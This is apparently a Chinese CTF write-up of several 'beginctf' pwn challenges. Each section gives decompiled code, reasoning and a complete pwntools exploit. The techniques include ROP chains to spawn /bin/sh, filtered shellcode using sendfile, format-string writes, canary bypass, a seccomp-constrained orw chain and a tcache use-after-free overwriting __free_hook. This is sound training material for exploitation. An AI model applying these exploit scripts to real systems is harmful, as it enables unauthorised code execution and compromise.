one_byte
检查保护,开了地址随机化,没开canary
[*] '/home/starrysky/beginctf/one_byte/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
查看程序,发现可以溢出一字节,也对应了题目的one-byte,程序会打开flag文件并且输出一字节,要读出flag必然需要printf,所以覆盖返回地址低位到printf处即可
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+7h] [rbp-9h] BYREF
char buf; // [rsp+Fh] [rbp-1h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to beginctf!");
open("flag", 0);
read(3, &buf, 1uLL);
printf("Here is your gift: %c\n", (unsigned int)buf);
puts("Are you satisfied with the result?");
read(0, v4, 0x12uLL);
return 0;
}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('101.32.220.189',31141)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
flag = ''
for i in range(80):
r.recvuntil('Here is your gift: ')
flag += r.recv(1).decode()
r.sendafter(b'with the result?', b'a' * 0x11 + b'\x6d')
li(flag)
r.interactive()
gift_rop
打开程序,发现是静态编译的c
,所以可以通过ropgadget
直接获取ropchain
,指令
ROPgadget --binary ./pwn --ropchain
执行指令之后会返回很多gadget
地址以及一段现成的ropchain
,如下
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
这段ropchain
是控制返回地址之后执行的内容,由于python
语法格式,要把p +=
前面的多余空格去掉,这段代码发过去会报错,因为最后一段重复执行add rax,1
,长度太长了,所以就需要从返回的gadget
中找到可替代的gadget
,格式就是将gadget
地址放在Q
后面。execve
的系统调用号在64位中是59,所以最后一段的目的就是把rax
加到59,但是返回的gadget
太多,可以用grep
筛选一下
ROPgadget --binary ./pwn --ropchain | grep 'rax'
找到以下两条gadget
,用这两条代替add rax, 1
凑到59
0x0000000000471267 : add rax, 2 ; ret
0x0000000000471280 : add rax, 3 ; ret
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189', 32151)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
'''
bin_sh = 0x4C50F0
pop_rdi_ret = 0x0000000000401f2f
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
'''
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
r.sendlineafter(b'This is a fake(real) checkin problem.', b'a' * 0x28 + p)
r.interactive()
由于程序中有close
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts((__int64)"Welcome to beginCTF!");
puts((__int64)"This is a fake(real) checkin problem.");
read(0LL, v4, 512LL);
close(1LL);
close(2LL);
return 0;
}
所以getshell以后还需要重定向标准输出,输入exec 1>&0
即可
exec
- 代替
shell
执行命令,区别是shell
执行完之后会回到shell
,而exec
会直接退出。- 文件重定向,也就是
exec 1>&0
这样将文件描述符为1
的文件重定向到0
上标准输出
(close(1))
和标准错误(close(2))
,有shell
但获得不了输出,可以通过exec 1>&0
重定向
unhappy
这题就是写shellcode,但是shellcode里不能含有HAPYhapy
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+10h] [rbp-10h]
addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
return 1;
}
else
{
read(0, addr, 0x100uLL);
check(addr);
((void (*)(void))addr)();
if ( munmap(addr, 0x1000uLL) == -1 )
{
perror("munmap failed");
return 1;
}
else
{
return 0;
}
}
}
__int64 __fastcall check(__int64 a1)
{
__int64 result; // rax
char v2; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 255; ++i )
{
result = *(unsigned __int8 *)(i + a1);
v2 = *(_BYTE *)(i + a1);
if ( v2 == 'h' || v2 == 'a' || v2 == 'p' || v2 == 'y' || v2 == 'H' || v2 == 'A' || v2 == 'P' || v2 == 'Y' )
exit(-1);
}
return result;
}
推荐一个网站https://shell-storm.org/online/Online-Assembler-and-Disassembler/
要在限制下写的话可以利用sub
和add
去凑出要实现的代码,比如add rdi,0x61
,可以写成add rdi, 0x60
add rdi,0x1
,但是这题有一个简便的方法就是输入shellcode
来执行read
,通过syscall
调用的read
就没有了check
的限制,但是第二次输入需要先sleep
停顿一下
先试着用execve(’/bin/sh’, 0,0)
来getshell
add edi, 0x30
mov dword ptr [edi], 0x6e69622f
add edi, 0x4
mov dword ptr [edi], 0x58732f2f
add dword ptr [edi], 0x10000000
sub edi,0x4
mov esi, 0
mov edx, 0
mov eax,59
syscall
打到远程会发现没有cat flag
的权限,但是unhappy
有rws
权限,也就是执行unhappy
有root
权限,所以把shellcode
改成orw
即可,直接write
会报错,这里也学习到了一个知识点:
ssize_t sendfile(int out_fd,int in_fd,off_t* offset,size_t count);
sendfile
函数在两个文件描述符之间直接传递数据(完全在内核中操作),从而避免了内核缓冲区和用户缓冲区之间的数据拷贝,效率很高,这被称为零拷贝
最终exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189',31276)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shellcode = asm(shellcraft.read(0, 'rsi', 0x300))
r.sendline(shellcode)
shellcode = b'\x90' * len(shellcode) + asm(shellcraft.open('./flag', 'O_RDWR', 0))
shellcode += asm(shellcraft.sendfile(1,3,0,0x50))
sleep(10)
r.sendline(shellcode)
r.interactive()
ezpwn
test command
不能用cat
和sh
(官方wp
指出test command
对指令过滤不严,也可以利用test command
),test filename
不能输入flag
,teat data
功能是输入一个index
,向数组该index
处输入一个字符,而程序中有shell
函数,所以调试一下计算返回地址到该数组之间的距离作为index
,把返回地址地位改成shell
函数低位即可,需要注意的是输入格式,行末要加回车不然会覆盖成回车
unsigned __int64 main_loop()
{
...
case 1:
puts("Please input index.");
__isoc99_scanf("%d", &v2);
puts("please input value");
v1 = getchar();
getchar();
s[v2] = v1;
break;
...
}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189', 31180)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
gift = 0x1849
r.sendlineafter(b'Input your choice.', b'1\n')
r.sendlineafter(b'Please input index.', str(0x228) + '\n')
r.sendlineafter(b'please input value', b'\x51')
r.sendlineafter(b'Input your choice.', b'4')
r.interactive()
no_money
格式化字符串,但是禁用$
,一般用$
定位,本题中也学到一个知识点:’%p’ * n + ‘%hn’ = ‘%n$hn’
,利用这一点,先泄露程序基址加上shell
地址最后改返回地址低位为shell
地址即可
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189', 31645)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'Your payload:', b'%p-%p-%p-%p-%p-%p')
for i in range(6):
r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x40
target = 0x404C + code
p = b'%255c' + b'%p' * 16 + b'%hhn'
p = p.ljust(0x40, b'a') + p64(target) * 0x60
r.sendlineafter(b'payload:', p)
r.interactive()
cat
开了canary
但是没开pie
checksec pwn
[*] '/home/starrysky/beginctf/cat/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序中有后门函数,main
中向bss
段两个变量输入数据,vul
中向栈中输入数据
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("read:");
read(0, read1, 0x100uLL);
puts("read:");
read(0, read2, 0x100uLL);
vul(read1, read2);
return 0;
}
unsigned __int64 __fastcall vul(const char *read1, const char *read2)
{
__int64 read3[2]; // [rsp+10h] [rbp-40h] BYREF
char dest[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h]
char v6[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
read3[0] = 0LL;
read3[1] = 0LL;
*(_QWORD *)dest = 0LL;
v5 = 0LL;
*(_QWORD *)v6 = 0LL;
v7 = 0LL;
puts("read:");
read(0, read3, 0x100uLL);
strcat(dest, read1);
strcpy(v6, read2);
return v8 - __readfsqword(0x28u);
}
重点就是绕过canary
,这里学到一个知识点:strcat
会从第一个\x00
开始拼接,strcpy
会在末尾写\x00
,查看栈中数据
pwndbg> stack
00:0000│ rsp 0x7fffffffde00 —▸ 0x4041a0 (cx) ◂— 0xa616161 /* 'aaa\n' */
01:0008│ 0x7fffffffde08 —▸ 0x4040a0 (bx) ◂— 0xa616161 /* 'aaa\n' */
02:0010│ 0x7fffffffde10 ◂— 0xa616161 /* 'aaa\n' */
03:0018│ 0x7fffffffde18 ◂— 0x0
... ↓ 4 skipped
pwndbg>
08:0040│ 0x7fffffffde40 —▸ 0x7fffffffdf78 —▸ 0x7fffffffe311 ◂— '/home/starrysky/beginctf/cat/pwn'
09:0048│ 0x7fffffffde48 ◂— 0x40934e0df3212f00
0a:0050│ rbp 0x7fffffffde50 —▸ 0x7fffffffde60 ◂— 0x1
0b:0058│ 0x7fffffffde58 —▸ 0x401381 (main+183) ◂— mov eax, 0
利用:read3
覆盖掉dest到canary
末尾的\x00
,strcat
拼接会从canary
之后开始拼接,最后利用strcpy
将canary
末尾恢复成\x00
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189', 30188)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
cat = 0x4011FE
r.sendafter(b'read:', b'a' * 2 + p64(cat))
r.sendafter(b'read:', b'B' * 0x18)
r.sendafter(b'read:', b'C' * 0x39)
r.interactive()
aladdin
非常…痛苦的一题,本地和远程的偏移竟然不一样…用不了ogg
,bss
段上的chance=4
,只能利用三次,所以这三次要先把chance
改掉
while ( --chance )
{
printf("your %d wish:\n", (unsigned int)chance);
memset(wish, 0, sizeof(wish));
read(0, wish, 0x100uLL);
if ( strstr(wish, "one more wish") )
{
puts("no way!");
break;
}
printf(wish);
}
printf("The wonderful lamp is broken");
查看栈结构,利用这几个地址来泄露一些需要的值:code_base、stack、libc_base
pwndbg> stack
00:0000│ rsp 0x7fffffffdd80 ◂— 0x7ffff7fc0005
01:0008│ 0x7fffffffdd88 —▸ 0x7fffffffdd90 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffdd90 ◂— 0x20 /* ' ' */
03:0018│ 0x7fffffffdd98 ◂— 0x3b00010015
04:0020│ 0x7fffffffdda0 ◂— 0x10035 /* '5' */
05:0028│ 0x7fffffffdda8 ◂— 0x5000000000006
06:0030│ 0x7fffffffddb0 ◂— 0x7fff000000000006
07:0038│ 0x7fffffffddb8 ◂— 0x163fe5f2dcc3a00
pwndbg>
08:0040│ rbp 0x7fffffffddc0 ◂— 0x1
09:0048│ 0x7fffffffddc8 —▸ 0x7ffff7dbcd90 ◂— mov edi, eax
0a:0050│ 0x7fffffffddd0 ◂— 0x0
0b:0058│ 0x7fffffffddd8 —▸ 0x555555555229 (main) ◂— endbr64
0c:0060│ 0x7fffffffdde0 ◂— 0x1ffffdec0
0d:0068│ 0x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0e:0070│ 0x7fffffffddf0 ◂— 0x0
0f:0078│ 0x7fffffffddf8 ◂— 0xa251b96a3bc40170
pwndbg>
10:0080│ 0x7fffffffde00 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
11:0088│ 0x7fffffffde08 —▸ 0x555555555229 (main) ◂— endbr64
12:0090│ 0x7fffffffde10 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64
13:0098│ 0x7fffffffde18 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
14:00a0│ 0x7fffffffde20 ◂— 0x5dae469580660170
15:00a8│ 0x7fffffffde28 ◂— 0x5dae56dda14e0170
16:00b0│ 0x7fffffffde30 ◂— 0x7fff00000000
17:00b8│ 0x7fffffffde38 ◂— 0x0
pwndbg>
18:00c0│ 0x7fffffffde40 ◂— 0x0
... ↓ 2 skipped
1b:00d8│ 0x7fffffffde58 ◂— 0x163fe5f2dcc3a00
1c:00e0│ 0x7fffffffde60 ◂— 0x0
1d:00e8│ 0x7fffffffde68 —▸ 0x7ffff7dbce40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]
1e:00f0│ 0x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
1f:00f8│ 0x7fffffffde78 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64
pwndbg> fmtarg 0x7fffffffddd8
The index of format argument : 17 ("\%16$p")
pwndbg> fmtarg 0x7fffffffde00
The index of format argument : 22 ("\%21$p")
pwndbg> fmtarg 0x7fffffffde68
The index of format argument : 35 ("\%34$p")
输入的wish
是bss
段的,也就是非栈上的格式化字符串,需要用栈作为跳板去改其他地方的数据,本题的利用思路就是第一次输入用于泄露地址,第二次输入用来设置跳板,第三次输入用来改printf
返回地址到val
中的输入,继续输入改chance
值,但也不能改太大,用到的链如下
0x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
pwndbg> fmtarg 0x7fffffffdde8
The index of format argument : 19 ("\%18$p")
pwndbg> fmtarg 0x7fffffffde70
The index of format argument : 36 ("\%35$p")
修改成功后就可以无限利用fmt
,但这题有沙箱,只能orw
aladdin seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x35 0x01 0x00 0x00000000 if (A >= 0x0) goto 0004
0003: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
但是把栈直接改orw
比较麻烦,所以可以在返回地址先构造read
,然后用read
读rop
链实现orw
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('101.32.220.189', 30879)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def pay(target, value):
tar = target & 0xffff
for i in range(3):
val = value & 0xffff
value = value >> 16
p = '%' + str(tar) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(val) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
tar += 0x2
p = b'%17$p%22$p%35$p'
r.sendafter(b'wish:', p)
r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x1229
r.recvuntil(b'0x')
stack = int(r.recv(12), 16)
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x29e40
libc = ELF('./2.35/libc.so.6')
target = (stack - 0x160) & 0xffff
target1 = (stack - 0xd0) & 0xffff
if target1 > target:
p = '%' + str(target) + 'c%19$hn' + '%' + str(target1 - target) + 'c%36$hn'
else:
p = '%' + str(target) + 'c%19$hn' + '%' + str(0x10000 + target1 - target) + 'c%36$hn'
r.sendafter(b'wish:', p)
addr = (0x137F + code) & 0xffff
chance = (0x4010 + code) & 0xffff
if chance > addr:
p = '%' + str(addr) + 'c%49$hn' + '%' + str(chance - addr) + 'c%52$hn'
else:
p = '%' + str(addr) + 'c%49$hn' + '%' + str(0x10000 + chance - addr) + 'c%52$hn'
sleep(1)
r.sendafter(b'wish:', p)
p = '%' + str(0x30) + 'c%23$hn'
sleep(1)
r.sendline(p)
pop_rdi_ret = 0x000000000002a3e5 + libc_base
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_ret = 0x00000000000796a2 + libc_base
stack -= 0x10
ret = stack - 0x110 + 0x38 + 0x10
read = libc.sym['read'] + libc_base
pay(stack - 0x100, pop_rdi_ret)
pay(stack - 0x100 + 0x10, pop_rsi_ret)
pay(stack - 0x100 + 0x18, ret)
pay(stack - 0x100 + 0x20, pop_rdx_ret)
pay(stack - 0x100 + 0x28, 0x300)
pay(stack - 0x100 + 0x30, read)
p = '%' + str((stack - 0x100 + 0x30 + 6) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x0) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str((stack - 0x100 + 0x30 + 5) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x7f) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
for i in range(7):
r.sendafter(b'wish:', b'a')
open_addr = libc.sym['open'] + libc_base
write_addr = libc.sym['write'] + libc_base
pop_rax_ret = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000029db4 + libc_base
orw_rop_addr = stack - 0x100 + 0x18 + 0x10
orw_rop = p64(pop_rdi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
orw_rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(read)
orw_rop += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
orw_rop += b'flag'.ljust(0x10,b'\x00')
r.sendafter(b'broken', orw_rop)
r.interactive()
zeheap
存在uaf
漏洞,但是edit
和show
受到mark
的限制
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &index);
if ( index <= 0xF )
{
free(heap_ptr[index]);
mark[index] = 0;
}
return __readfsqword(0x28u) ^ v2;
}
将unsorted bin
中的堆重复释放到tcache
中,就可以利用这个堆泄露libc
地址,并且将tcache
中的堆和unsorted bin
中的堆都申请出来就可以造成堆块复用,其中一个释放到tcache
再用另一个改fd
为free_hook
最后申请出来改成system
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(num):
r.sendlineafter(b'choose:', b'1')
r.sendlineafter(b'num:', str(num))
def edit(num, content):
r.sendlineafter(b'choose:', b'2')
r.sendlineafter(b'num:', str(num))
r.sendlineafter(b'read:', content)
def show(num):
r.sendlineafter(b'choose:', b'3')
r.sendlineafter(b'num:', str(num))
def delete(num):
r.sendlineafter(b'choose:', b'4')
r.sendlineafter(b'num:', str(num))
for i in range(10):
add(i)
for i in range(9):
delete(i)
add(10)
delete(8)
for i in range(8):
add(i)
show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./libc-2.31.so')
system = libc.sym['system'] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
add(8)
delete(1)
delete(8)
edit(0, p64(free_hook))
add(11)
edit(11, b'/bin/sh\x00')
add(12)
edit(12, p64(system))
delete(11)
r.interactive()